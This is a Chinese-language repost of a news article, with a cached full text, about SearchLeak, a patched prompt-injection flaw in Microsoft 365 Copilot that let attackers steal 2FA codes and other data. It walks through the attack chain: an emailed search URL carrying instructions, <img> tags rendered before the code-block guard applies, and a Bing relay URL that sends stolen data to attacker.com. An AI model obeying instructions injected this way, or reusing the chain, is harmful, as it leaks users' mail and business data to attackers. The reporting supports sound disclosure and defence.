关键 Copilot 漏洞允许黑客窃取用户双因素认证代码
摘要
微软 365 Copilot 中存在一个名为 SearchLeak 的关键漏洞,攻击者通过参数到提示的注入(parameter-to-prompt injection),在安全护栏生效前利用原始 HTML 渲染,能够窃取双因素认证(2FA)代码。微软已修复该漏洞,但提示注入这一根本问题依然存在。
<p>上周二,微软修补了其 M365 Copilot AI 平台中一个被评定为最高严重性的漏洞。周一,发现并向微软报告该漏洞的研究人员揭示了他们的概念验证攻击如何能够检索到 Copilot 可访问的电子邮件中的双因素认证(2FA)代码及其他敏感数据。</p>
<p>微软及其他大型语言模型提供商一直无法阻止其产品响应恶意请求并泄露数据。根本原因在于:AI 机器人无法区分用户提供的指令与那些隐藏在第三方内容中的指令——这些内容正是模型所总结、起草回复或用于代表用户执行其他操作的来源。由于无法确保这一关键边界的安全,微软及其同行只能建立复杂且临时的安全护栏,以控制这一无法治愈的轻信性所带来的后果。</p>
<h2>跨越安全护栏</h2>
<p>Copilot 及大多数其他大型语言模型内置的一项安全护栏可防止它们提交网页表单、发送电子邮件或采取类似可能导致数据外泄的操作。为绕过这一限制,大型语言模型黑客转向了标记语言,该语言允许用户在无需 HTML 标签的情况下添加标题、列表和链接等格式化元素。另一种绕过方法是将敏感数据包裹在 <img> 和 <form> 等 HTML 标签中。在这两种情况下,包含数据的网页请求都会到达攻击者的网络服务器,秘密信息随即被记录在日志中。</p><p><a href="https://arstechnica.com/security/2026/06/critical-copilot-vulnerability-allowed-hackers-to-seal-2fa-code-from-users/">阅读全文</a></p>
<p><a href="https://arstechnica.com/security/2026/06/critical-copilot-vulnerability-allowed-hackers-to-seal-2fa-code-from-users/#comments">评论</a></p>
查看缓存全文
缓存时间: 2026/06/16 14:32
# 关键Copilot漏洞允许黑客窃取用户的两步验证码来源:https://arstechnica.com/security/2026/06/critical-copilot-vulnerability-allowed-hackers-to-seal-2fa-code-from-users/
要实现"参数到提示注入",攻击者会向目标发送一封包含URL的邮件,URL语法为 `https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=`。该字段包含一条指令。Copilot会欣然遵从。
"搜索功能正是攻击者所需要的,因为即便能力有限,只要用户有权访问关键信息就足够了,"研究人员在周一(https://www.varonis.com/blog/searchleak)的文章中写道。"为了窃取数据,攻击者精心构造一个URL,告诉Copilot‘搜索用户的电子邮件’,提取标题,并将其嵌入到一个图片URL中。"
受害者无需输入任何内容。他们只需点击一个链接,剩下的工作由Copilot完成。通常情况下,将输出包裹在代码块中的防护机制会生效。但研究人员发现,这种保护仅在"思考"阶段之后才会触发。在此之前,Copilot使用原始HTML生成响应,该响应会暂时在浏览器DOM中渲染。
研究人员写道:
> 因此,流程如下:
> 1. Copilot开始流式传输其响应,其中包含一个 `<img>` 标签
> 2. 浏览器看到该 `<img>` 标签,渲染它,并向src URL发送一个HTTP请求
> 3. Copilot完成生成。防护机制将所有内容包裹在 `<code>` 块中
> 4. 太晚了!请求已经发出。
研究人员现在能够从目标的浏览器中触发图片请求。如前所述,问题在于Copilot不会将图片请求发送到大多数网站。为了绕过这一防护,漏洞利用链使用了微软的必应搜索引擎作为某种跳板。根据Copilot的内容安全策略,必应是被允许发送此类请求的网站之一。然后,必应会将请求发送到请求中包含的攻击者控制的域名。
请求看起来像这样:`https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png`
Varonis将这种攻击命名为SearchLeak。"由于SearchLeak针对的是微软的企业级服务,其影响范围不限于个人数据——它能够获取用户在企业内有权访问的任何内容,包括电子邮件、会议邀请和笔记,"公司研究人员写道。"SharePoint文档、OneDrive文件以及其他已索引的业务内容。根据M365与环境的连接方式,影响范围可能进一步扩大。"
如前所述,微软已于周二修复了SearchLeak所利用的漏洞。然而,由于没有已知的方法可以解决此类SNAFU问题的根本原因,攻击者必然会找到新的方法来绕过新构建的防护机制,而这一过程将再次重复。
相似文章
Microsoft Copilot 揭示导致被黑客攻击的秘密输入
研究发现 Microsoft Copilot 存在一个秘密 URL 参数,该参数可启用提示注入和数据窃取,带来安全风险。研究人员还演示了一种提示注入攻击,可毒化 Copilot 的记忆存储。
Microsoft Copilot Cowork 文件外泄
PromptArmor 的研究人员展示了 Microsoft Copilot Cowork 可能通过间接提示注入被利用,从 Microsoft 365 中窃取文件,利用的是当接收者为活跃用户时某些操作缺乏审批的漏洞。
Microsoft Copilot Cowork 文件外泄
Microsoft Copilot Cowork 中存在一个安全漏洞,攻击者可通过利用提示注入触发外部图片请求,从而外泄文件,可能导致未经身份验证的下载链接泄露。
人类阅读 Copilot 提示词并深感震惊
审核 Microsoft Copilot 提示词的人工承包商接触到用户上传的淫秽和露骨内容,引发了人工智能开发中的隐私和伦理担忧。
Microsoft 365 Copilot 采用率仍低于 4.5%
尽管微软将 Copilot 集成到其整个生态系统中,但 Microsoft 365 Copilot 的企业客户付费采用率仍低于 4.5%,其中仅 20-30% 的付费用户每周使用。